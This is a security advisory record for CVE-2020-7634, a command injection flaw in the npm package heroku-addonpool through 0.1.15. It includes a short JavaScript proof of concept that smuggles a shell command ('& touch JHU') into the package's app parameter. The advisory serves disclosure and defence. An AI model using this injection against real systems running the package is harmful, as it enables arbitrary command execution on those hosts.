github_osv/GHSA-3q9x-w53p-jg53
OS Command Injection in heroku-addonpool
heroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function `HerokuAddonPool(id, app, opt)` can be controlled by users without any sanitization.
**PoC**
```js
var Root = require("heroku-addonpool");
var root = Root("sss", "& touch JHU", {});
root.setup();
```
gitlab/npm/heroku-addonpool/CVE-2020-7634
Injection Vulnerability
heroku-addonpool is vulnerable to Command Injection.